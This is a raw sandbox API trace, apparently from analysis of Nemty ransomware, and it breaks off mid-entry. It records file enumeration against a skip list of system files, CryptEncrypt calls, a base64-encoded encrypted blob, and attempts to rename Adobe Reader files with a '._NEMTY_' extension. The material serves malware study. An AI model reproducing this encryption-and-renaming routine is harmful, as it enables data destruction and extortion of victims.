[0213.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-H", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UTF16-H", lpUsedDefaultChar=0x0) returned 13 [0213.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-H", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UTF16-H", lpUsedDefaultChar=0x0) returned 13 [0213.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-H", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UTF16-H", lpUsedDefaultChar=0x0) returned 13 [0213.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.563] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-H", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UTF16-H", lpUsedDefaultChar=0x0) returned 13 [0213.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0213.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0213.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0213.563] Sleep (dwMilliseconds=0x5) [0213.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32f08c70, dwHighDateTime=0x1d561e8)) [0213.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32f08c70, dwHighDateTime=0x1d561e8)) [0213.584] GetLastError () returned 0x5 [0213.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.584] GetLastError () returned 0x5 [0213.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.584] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0213.584] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0213.585] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0213.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0213.585] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="cgNDXFstSfNsf9Hj3UVUHX+VUG/vixy9wgQUQ/fffhCdoBkdGhbkAtIoGKru0QyZ\r\nuhOqRZok8NG4uW7rxgGdk2GYfrF/3wvinM9hwreyLZX81BEQUnyxIIV+1w1eAW5z\r\nJxtTj7LNc+XPvhyi7+jswfo/ewVym4IDHKBM+HJARyOXtku6DXvKhE7OLEUZhnag\r\nkPnQzH0pSAepaWWgsDDAtymQRoQETr0fbmQcxlxYCAxU8etqkjzmsaFYS+Sb6FBj\r\njGbrhCmrEE46sYKABb+v17l30ouH3aNQWoOiCOgeoPrJZzXD1ZrVDCTJNp70bumF\r\n3r1B6/j3Szuk1bo9jVxlzg==\r\n", pcchString=0x653e91c) returned 1 [0213.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0213.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0213.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0213.585] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.585] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0213.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0213.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.673] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.673] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.682] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.688] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.688] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.688] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.694] CloseHandle (hObject=0xffffffff) returned 0 [0213.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0213.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0213.694] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.695] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-h._nemty_kgobjgd_")) returned 0 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0213.695] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-V", cAlternateFileName="UNIKS-~1")) returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2=".") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="..") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="...") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="windows") returned -1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="$RECYCLE.BIN") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="rsa") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="NTDETECT.COM") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="ntldr") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="MSDOS.SYS") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="IO.SYS") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="boot.ini") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="boot.ini") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="AUTOEXEC.BAT") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="ntuser.dat") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="desktop.ini") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="CONFIG.SYS") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="RECYCLER") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="BOOTSECT.BAK") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="bootmgr") returned 1 [0213.695] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="programdata") returned 1 [0213.696] lstrcmpiW (lpString1="UniKS-UTF16-V", lpString2="appdata") returned 1 [0213.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-V", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UTF16-V", lpUsedDefaultChar=0x0) returned 13 [0213.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-V", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UTF16-V", lpUsedDefaultChar=0x0) returned 13 [0213.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-V", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UTF16-V", lpUsedDefaultChar=0x0) returned 13 [0213.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-V", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0213.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UTF16-V", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UTF16-V", lpUsedDefaultChar=0x0) returned 13 [0213.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0213.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0213.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0213.696] Sleep (dwMilliseconds=0x5) [0213.702] GetSystemTimeAsFileTime (in: 